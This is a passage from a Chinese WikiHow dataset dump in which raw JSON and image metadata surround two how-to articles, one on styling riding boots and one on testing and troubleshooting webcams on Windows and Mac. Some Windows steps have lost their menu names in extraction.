class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n很多上衣都可以搭配，但最好的选择是一件宽松飘逸、面料柔软的衬衫。你可以选择一个高腰上衣来突显你的腰，或者简单地用皮带系在宽松上衣在腰部。无论如何，一件宽松的衬衣能与你苗条的下身形成鲜明对比。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b5\\\\/Wear-Riding-Boots-Step-5Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-5Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b5\\\\/Wear-Riding-Boots-Step-5Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-5Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}]}, {\"编号\": 2, \"标题\": \"搭配喇叭牛仔裤和长裤\", \"步骤\": [{\"编号\": 1, \"标题\": \"穿靴裤。\", \"描述\": \"这种牛仔裤被贴上“靴裤”的标签，因为它们的底部舒适松散，能搭配任何高度和风格的靴子，包括马靴。\\n这种风格最好搭配标准蓝色牛仔裤，但你可以选择任何一种水洗牛仔裤。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/7\\\\/7e\\\\/Wear-Riding-Boots-Step-6Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-6Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/7\\\\/7e\\\\/Wear-Riding-Boots-Step-6Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-6Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果你选择彩色牛仔裤，要选择中性的颜色，如黑色、灰色、白色和棕色。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/c\\\\/cb\\\\/Wear-Riding-Boots-Step-6Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-6Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/cb\\\\/Wear-Riding-Boots-Step-6Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-6Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n确保你的牛仔裤是足够长来掩盖靴子的大部分，但不能过长，要露出鞋头和鞋跟。\"}, {\"编号\": 2, \"标题\": \"你也可以选择灯芯绒裤子。\", \"描述\": \"相对于靴裤，你可以穿灯芯绒裤子使靴子的鞋头露出来。\\n选择灯芯绒裤的颜色。你可以穿传统的颜色，如褐色、棕色、黑色或灰色，或者你可以选择不那么传统的颜色，如橄榄绿色或深蓝色。\"}, {\"编号\": 3, \"标题\": \"完成造型。\", \"描述\": \"选择一条深色水洗牛仔裤或灯芯绒裤子搭配黑色的马靴，这个造型可以轻松变成一个商务休闲风格。\\n穿一件简单的衬衫或一件合身的纯色或简单图案的上衣搭配你的裤子。你可以添加一件外套使造型显得更专业或者你可以就这样显得更休闲。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b0\\\\/Wear-Riding-Boots-Step-8Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-8Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b0\\\\/Wear-Riding-Boots-Step-8Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-8Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n加点配饰，但尽量简单和优雅。纯金属珠宝优于精心制作的人造珠宝或颜色明亮的大宝石。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/f\\\\/fa\\\\/Wear-Riding-Boots-Step-8Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-8Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/fa\\\\/Wear-Riding-Boots-Step-8Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-8Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 4, \"标题\": \"定下造型。\", \"描述\": \"穿浅到中色的水洗牛仔裤和一个不太正式的上衣，简单地搭配黑色或棕色的马靴，一个别致的、随和的周末造型就完成了\\n你的上衣可以是宽松飘逸的，也可以是舒适合身的。如果你的牛仔裤是直筒的，腿部的线条就显得不如穿紧身牛仔裤那样紧致。因此，你可以穿宽松飘逸的衬衫来维持整体的平衡，也可以用穿舒适合身的上衣显得整体更平稳，从上到下呈现出流线型。\"}]}, {\"编号\": 3, \"标题\": \"穿半身裙或连衣裙\", \"步骤\": [{\"编号\": 1, \"标题\": \"搭配一条长裙。\", \"描述\": \"选择一条宽松的长裙以免裙子和靴子互相摩擦。\\n也可以考虑尝试一边开口的长半身裙或连衣裙，使造型从过时的孕妇装变得大胆而轻浮。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/9\\\\/9e\\\\/Wear-Riding-Boots-Step-10Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-10Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/9\\\\/9e\\\\/Wear-Riding-Boots-Step-10Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-10Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n为了避免造型太方正或不成形，在上身穿一些特别的。选择领口大开或露背的上衣搭配半身裙。如果穿长裙，选择一件合身的开衫、外套或夹克使你的造型更多变。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3f\\\\/Wear-Riding-Boots-Step-10Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-10Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3f\\\\/Wear-Riding-Boots-Step-10Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-10Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 2, \"标题\": \"穿短裙来展露你的双腿。\", \"描述\": \"选择一条直板裙、A字裙或百褶裙来平衡你苗条的小腿。\\n如果马靴长度到膝盖或以上则穿迷你裙。这是为了在靴子和裙子之间能露出一部分的腿。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/4\\\\/41\\\\/Wear-Riding-Boots-Step-11Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-11Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/4\\\\/41\\\\/Wear-Riding-Boots-Step-11Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-11Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果你的马靴长度在膝盖以下，那么搭配齐膝的短裙效果会很好。此外，及膝的裙子能适合各种身体类型并可以展现出可爱性感的造型。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/ac\\\\/Wear-Riding-Boots-Step-11Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-11Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/ac\\\\/Wear-Riding-Boots-Step-11Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-11Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果穿短裙，那在上衣的选择上就有相当大的空间。合身的上衣可以平衡喇叭裙的飘逸，但衬衫的风格可以随意挑选。\"}, {\"编号\": 3, \"标题\": \"裸腿还是不裸。\", \"描述\": \"如果穿着轻薄、飘逸的面料，最好裸露着腿。对于较厚的材料，穿上紧身裤和长筒袜可能更合适。\\n硬材料制成的及膝裙，像羊毛、粗花呢、灯芯绒或牛仔布通常是为凉爽的天气设计的，所以长筒袜往往也应该派上用场。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3a\\\\/Wear-Riding-Boots-Step-12Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-12Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3a\\\\/Wear-Riding-Boots-Step-12Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-12Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n由轻薄飘逸的亚麻及各种棉布等材料做成的长裙、短裙常常搭配裸腿，因为这种风格是为更暖的天气设计的。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/d\\\\/d8\\\\/Wear-Riding-Boots-Step-12Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-12Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/d8\\\\/Wear-Riding-Boots-Step-12Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-12Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}]}, {\"编号\": 4, \"标题\": \"长筒袜\", \"步骤\": [{\"编号\": 1, \"标题\": \"挑选合适的颜色和纹理。\", \"描述\": \"穿上搭配马靴颜色的长筒袜可以塑造一个清爽、时尚的外观，但你可以尝试不同的颜色和纹理来转换你的风格。\\n麻花针织的长筒袜是温暖舒适的风格，而其他的条纹图案比如蕾丝，则是挑逗好玩的风格。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/f\\\\/f6\\\\/Wear-Riding-Boots-Step-13Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-13Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/f6\\\\/Wear-Riding-Boots-Step-13Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-13Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n你也可以穿同马靴形成鲜明对比的紧身裤以突出马靴。例如，白色紧身裤与黑色马靴对比鲜明能够突显你的马靴。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/36\\\\/Wear-Riding-Boots-Step-13Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-13Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/36\\\\/Wear-Riding-Boots-Step-13Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-13Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 2, \"标题\": \"穿长筒袜搭配裙子和马靴。\", \"描述\": \"最普遍的穿长筒袜的搭配是马靴和冬季的短裙或连衣裙。\\n考虑穿光滑、贴身的长筒袜搭配一件毛衣连衣裙来塑造秋天或冬天的造型。把麻花针织的长筒袜换成光滑贴身的长筒袜就能变成舒适的造型。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b1\\\\/Wear-Riding-Boots-Step-14Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-14Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b1\\\\/Wear-Riding-Boots-Step-14Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-14Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果选择半身裙来搭配马靴和长筒袜，可以选择一种较厚的布料如羊毛或灯芯绒，而不是像麻一样明亮清新的布料。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/d\\\\/d4\\\\/Wear-Riding-Boots-Step-14Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-14Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/d4\\\\/Wear-Riding-Boots-Step-14Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-14Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 3, \"标题\": \"穿上一条时髦的短裤。\", \"描述\": \"这种造型有点大胆，比其他许多搭配都更不常见；但这样的搭配却往往有比较好的戏剧性效果。\\n选择一条合身的、长度到大腿中间的短裤。超短裤是可以的，但是较长的短裤会使大腿看起来太短。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/af\\\\/Wear-Riding-Boots-Step-15Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-15Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/af\\\\/Wear-Riding-Boots-Step-15Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-15Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n可以穿标准的蓝色牛仔短裤，但你也可以尝试灰色牛仔裤、卡其色或有图案的短裤。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/d\\\\/d5\\\\/Wear-Riding-Boots-Step-15Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-15Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/d5\\\\/Wear-Riding-Boots-Step-15Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-15Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n这也是一个穿不同颜色和有图案的长筒袜的好机会。例如，你可以尝试金属色长筒袜使风格更加富有光泽。当穿着彩色或有图案的长筒袜时，你应该避免穿颜色明亮的短裤。你也应该穿颜色柔和的衬衫，避免颜色冲突。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/a4\\\\/Wear-Riding-Boots-Step-15Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-15Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/a4\\\\/Wear-Riding-Boots-Step-15Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-15Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 4, \"标题\": \"尝试穿长版的束腰外衣。\", \"描述\": \"宽松的、长度到大腿中间的外衣搭配马靴和简单的长筒袜可以打造时尚休闲的周末造型。\\n宽松飘逸的束腰外衣搭配贴身的长筒袜和马靴使造型得到平衡。\\n在这个造型中，穿颜色搭配靴子颜色的光滑长筒袜，比穿图案精致、颜色对比鲜明的长筒袜效果更好。\"}]}]}}",
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} | wikihow |
14,736 | 如何测试普通电脑和苹果电脑上的摄像头 | 1. 使用网络浏览器
1-1. 通过网络浏览器进入 https://webcammictest.com/ 。
你可以打开普通电脑或苹果电脑中的任意网络浏览器。
1-2. 单击 检查网络摄像头。
这个蓝色的按键就在页面正中央。
1-3. 单击允许。
点击后，网站将获得访问网络摄像头的权限。
1-4. 检查摄像头的画面显示。
如果摄像头工作正常，你会在网页中央看到显示屏显示出画面。
2. 使用Windows操作系统
2-1. 单击菜单。
这个菜单就在屏幕左下角。
2-2. 在搜索框中输入摄像头。
搜索框也在屏幕左下角。
2-3. 单击摄像头。
点击后摄像头应用程序会启动，摄像头也会自动开启。如果你看到屏幕上显示画面，说明摄像头工作正常。
如果这是你第一次使用摄像头应用程序，你可以需要先允许该程序运行。
3. 使用MacOS操作系
3-1. 打开访达。
访达的图标看起来就像一个蓝色和白色的笑脸，位置就在电脑桌面底部的程序坞栏上。
3-2. 单击应用程序。
该选项在访达左边的菜单栏上。
3-3. 双击照相棚 。
双击后，网络摄像头会在改程序中自动打开。如果屏幕上显示画面，说明摄像头工作正常。
4. 故障排除
4-1. 检查网络摄像头的状态。
找到摄像头。摄像头通常位于显示屏正中央的上方。检查镜头表面是否被细碎的垃圾或其它物体遮挡。有些笔记本电脑有内置摄像头。确保摄像头前方没有遮挡物。如果你的电脑安装了外置摄像头，检查电源线是否磨损。
4-2. 检查与摄像头（仅限于外置摄像头）连接的USB接口。
如果安装的是外置摄像头，你需要检查与摄像头电源线连接的USB接口，确保连接稳固。如果摄像头不工作，试试插到别的USB接口上。
4-3. 检查摄像头是否启用（ 仅限于Windows操作系统）。
你可以通过Windows设置菜单对所有需访问摄像头的应用程序统一或单独进行设置，选择启用或禁用。按照下面的步骤检查摄像头是否启用。
单击菜单。
单击菜单。
单击 。
单击左边面板上的 。
在“此相机的使用权限已关闭”下单击“改变”。
确保切换开关已打开。
确保“允许应用程序启用摄像头”下的切换开关处于“开启”状态。
向下滚动鼠标，挨个检查需访问摄像头的应用程序的切换开关是否打开。
4-4. 检查网络摄像头是否在设备管理器（仅限Window操作系统）中启用。
通过以下步骤确认网络摄像头已在设备管理器中启用：
右键单击“Window开始”菜单。
点击。
双击或者。
右键单击摄像头。
点击。
4-5. 更新摄像头的驱动器。
你也可以检查设备管理器里的摄像头驱动器是否需要更新。按照下面的方法判断摄像头是否需要更新：
右键单击
单击。
双击或。
右键单击摄像头。
单击。
4-6. 重新设计系统控制器（仅限于Mac操作系统）。
如果苹果电脑上的摄像头不工作了，就重新设置系统控制器。重设系统控制器的步骤如下：
关闭苹果电脑。
同时按下Shift + Control + Option，并保持7秒。
按下电源开关，保持7秒，同时依然按下Shift + Control + Option 。
放开所有按键，等待几秒钟。
打开电脑。
4-7. 检查将要打开的应用程序中摄像头的设置情况。
如果摄像头只在某个应用程序中不能使用，你可能需要专门设置。当你有多个摄像头时，这么做尤其有必要。应用程序不同，摄像头设置选项的位置也不一样。总的说来，只要打开“设置”或“选择”菜单，然后进入“视屏”菜单就可以了。
4-8. 检查摄像头是否在其它应用程序中运行。
只要有应用程序在使用摄像头，其它应用程序就无法将摄像头打开。所以，在打开需要启用摄像头的新应用程序之前，你要先将其它所有应用程序关闭。
4-9. 更换摄像头。
如果摄像头没被禁用，驱动器刚更新，摄像头的电源线也牢牢插在USB接口上，可摄像头就是不工作，这说明摄像头可能坏了，该换新的了。也可能摄像头太旧，和新的设备不兼容。
| {
"create_time": "20230517 11:02:19",
"回答明细": "{\"回答\": \"1. 使用网络浏览器\\n1-1. 通过网络浏览器进入 https://webcammictest.com/ 。\\n你可以打开普通电脑或苹果电脑中的任意网络浏览器。\\n1-2. 单击 检查网络摄像头。\\n这个蓝色的按键就在页面正中央。\\n1-3. 单击允许。\\n点击后，网站将获得访问网络摄像头的权限。\\n1-4. 检查摄像头的画面显示。\\n如果摄像头工作正常，你会在网页中央看到显示屏显示出画面。\\n2. 使用Windows操作系统\\n2-1. 单击菜单。\\n这个菜单就在屏幕左下角。\\n2-2. 在搜索框中输入摄像头。\\n搜索框也在屏幕左下角。\\n2-3. 单击摄像头。\\n点击后摄像头应用程序会启动，摄像头也会自动开启。如果你看到屏幕上显示画面，说明摄像头工作正常。\\n如果这是你第一次使用摄像头应用程序，你可以需要先允许该程序运行。\\n3. 使用MacOS操作系\\n3-1. 打开访达。\\n访达的图标看起来就像一个蓝色和白色的笑脸，位置就在电脑桌面底部的程序坞栏上。\\n3-2. 单击应用程序。\\n该选项在访达左边的菜单栏上。\\n3-3. 双击照相棚 。\\n双击后，网络摄像头会在改程序中自动打开。如果屏幕上显示画面，说明摄像头工作正常。\\n4. 故障排除\\n4-1. 检查网络摄像头的状态。\\n找到摄像头。摄像头通常位于显示屏正中央的上方。检查镜头表面是否被细碎的垃圾或其它物体遮挡。有些笔记本电脑有内置摄像头。确保摄像头前方没有遮挡物。如果你的电脑安装了外置摄像头，检查电源线是否磨损。\\n4-2. 检查与摄像头（仅限于外置摄像头）连接的USB接口。\\n如果安装的是外置摄像头，你需要检查与摄像头电源线连接的USB接口，确保连接稳固。如果摄像头不工作，试试插到别的USB接口上。\\n4-3. 检查摄像头是否启用（ 仅限于Windows操作系统）。\\n你可以通过Windows设置菜单对所有需访问摄像头的应用程序统一或单独进行设置，选择启用或禁用。按照下面的步骤检查摄像头是否启用。\\n单击菜单。\\n单击菜单。\\n单击 。\\n单击左边面板上的 。\\n在“此相机的使用权限已关闭”下单击“改变”。\\n确保切换开关已打开。\\n确保“允许应用程序启用摄像头”下的切换开关处于“开启”状态。\\n向下滚动鼠标，挨个检查需访问摄像头的应用程序的切换开关是否打开。\\n4-4. 检查网络摄像头是否在设备管理器（仅限Window操作系统）中启用。\\n通过以下步骤确认网络摄像头已在设备管理器中启用：\\n右键单击“Window开始”菜单。\\n点击。\\n双击或者。\\n右键单击摄像头。\\n点击。\\n4-5. 更新摄像头的驱动器。\\n你也可以检查设备管理器里的摄像头驱动器是否需要更新。按照下面的方法判断摄像头是否需要更新：\\n右键单击\\n单击。\\n双击或。\\n右键单击摄像头。\\n单击。\\n4-6. 重新设计系统控制器（仅限于Mac操作系统）。\\n如果苹果电脑上的摄像头不工作了，就重新设置系统控制器。重设系统控制器的步骤如下： \\n关闭苹果电脑。\\n同时按下Shift + Control + Option，并保持7秒。\\n按下电源开关，保持7秒，同时依然按下Shift + Control + Option 。\\n放开所有按键，等待几秒钟。\\n打开电脑。\\n4-7. 检查将要打开的应用程序中摄像头的设置情况。\\n如果摄像头只在某个应用程序中不能使用，你可能需要专门设置。当你有多个摄像头时，这么做尤其有必要。应用程序不同，摄像头设置选项的位置也不一样。总的说来，只要打开“设置”或“选择”菜单，然后进入“视屏”菜单就可以了。\\n4-8. 检查摄像头是否在其它应用程序中运行。\\n只要有应用程序在使用摄像头，其它应用程序就无法将摄像头打开。所以，在打开需要启用摄像头的新应用程序之前，你要先将其它所有应用程序关闭。\\n4-9. 更换摄像头。\\n如果摄像头没被禁用，驱动器刚更新，摄像头的电源线也牢牢插在USB接口上，可摄像头就是不工作，这说明摄像头可能坏了，该换新的了。也可能摄像头太旧，和新的设备不兼容。\\n\", \"简要回答\": \"如果你不知道如何判断Windows或MacOS系统下的网络摄像头是否正常工作，阅读这篇文章就能找到答案。Windows 和 MacOS的电脑都有内置摄像头应用程序，你可以通过这些程序来检查摄像头是否正常运行。此外，你还可以利用一些网站来检查摄像头的运行状况。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用网络浏览器\", \"步骤\": [{\"编号\": 1, \"标题\": \"通过网络浏览器进入 https://webcammictest.com/ 。\", \"描述\": \"你可以打开普通电脑或苹果电脑中的任意网络浏览器。\"}, {\"编号\": 2, \"标题\": \"单击 检查网络摄像头。\", \"描述\": \"这个蓝色的按键就在页面正中央。\"}, {\"编号\": 3, \"标题\": \"单击允许。\", \"描述\": \"点击后，网站将获得访问网络摄像头的权限。\"}, {\"编号\": 4, \"标题\": \"检查摄像头的画面显示。\", \"描述\": \"如果摄像头工作正常，你会在网页中央看到显示屏显示出画面。\"}]}, {\"编号\": 2, \"标题\": \"使用Windows操作系统\", \"步骤\": [{\"编号\": 1, \"标题\": \"单击菜单。\", \"描述\": \"这个菜单就在屏幕左下角。\"}, {\"编号\": 2, \"标题\": \"在搜索框中输入摄像头。\", \"描述\": \"搜索框也在屏幕左下角。\"}, {\"编号\": 3, \"标题\": \"单击摄像头。\", \"描述\": \"点击后摄像头应用程序会启动，摄像头也会自动开启。如果你看到屏幕上显示画面，说明摄像头工作正常。\\n如果这是你第一次使用摄像头应用程序，你可以需要先允许该程序运行。\"}]}, {\"编号\": 3, \"标题\": \"使用MacOS操作系\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开访达。\", \"描述\": \"访达的图标看起来就像一个蓝色和白色的笑脸，位置就在电脑桌面底部的程序坞栏上。\"}, {\"编号\": 2, \"标题\": \"单击应用程序。\", \"描述\": \"该选项在访达左边的菜单栏上。\"}, {\"编号\": 3, \"标题\": \"双击照相棚 。\", \"描述\": \"双击后，网络摄像头会在改程序中自动打开。如果屏幕上显示画面，说明摄像头工作正常。\"}]}, {\"编号\": 4, \"标题\": \"故障排除\", \"步骤\": [{\"编号\": 1, \"标题\": \"检查网络摄像头的状态。\", \"描述\": \"找到摄像头。摄像头通常位于显示屏正中央的上方。检查镜头表面是否被细碎的垃圾或其它物体遮挡。有些笔记本电脑有内置摄像头。确保摄像头前方没有遮挡物。如果你的电脑安装了外置摄像头，检查电源线是否磨损。\"}, {\"编号\": 2, \"标题\": \"检查与摄像头（仅限于外置摄像头）连接的USB接口。\", \"描述\": \"如果安装的是外置摄像头，你需要检查与摄像头电源线连接的USB接口，确保连接稳固。如果摄像头不工作，试试插到别的USB接口上。\"}, {\"编号\": 3, \"标题\": \"检查摄像头是否启用（ 仅限于Windows操作系统）。\", \"描述\": \"你可以通过Windows设置菜单对所有需访问摄像头的应用程序统一或单独进行设置，选择启用或禁用。按照下面的步骤检查摄像头是否启用。\\n单击菜单。\\n单击菜单。\\n单击 。\\n单击左边面板上的 